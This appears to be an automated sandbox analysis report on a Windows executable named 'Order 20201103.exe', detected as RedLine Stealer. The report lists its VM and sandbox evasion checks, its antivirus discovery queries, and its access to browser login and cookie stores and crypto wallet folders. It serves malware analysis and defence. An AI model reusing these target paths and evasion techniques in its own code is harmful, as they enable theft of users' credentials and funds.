Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Order 20201103.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Order 20201103.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Binary contains a suspicious time stamp

Source: Order 20201103.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685

Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 26D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 2770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 4770000 memory reserve \| memory write watch	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\Desktop\Order 20201103.exe	Window / User API: threadDelayed 1156			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Window / User API: threadDelayed 3894			Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6724	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6568	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: tmpD385.tmp.0.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: tmpD385.tmp.0.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: tmpD385.tmp.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: tmpD385.tmp.0.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: Order 20201103.exe, 00000000.00000002.1096314294.0000000000A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmpD385.tmp.0.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: tmpD385.tmp.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: tmpD385.tmp.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: tmpD385.tmp.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: tmpD385.tmp.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: tmpD385.tmp.0.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: tmpD385.tmp.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: tmpD385.tmp.0.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: tmpD385.tmp.0.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: tmpD385.tmp.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: tmpD385.tmp.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: tmpD385.tmp.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\Order 20201103.exe

Process information queried: ProcessInformation

Jump to behavior

Enables debug privileges

Source: C:\Users\user\Desktop\Order 20201103.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe

Memory allocated: page read and write | page guard

Jump to behavior

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Users\user\Desktop\Order 20201103.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

AV process strings found (often used to terminate AV products)

Source: Order 20201103.exe, 00000000.00000002.1096054991.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1102157158.0000000005E90000.00000004.00000020.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1103407422.000000000683E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $Vr0C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxxLiberty
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\wallets`A
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereumt`
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $Vr4C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
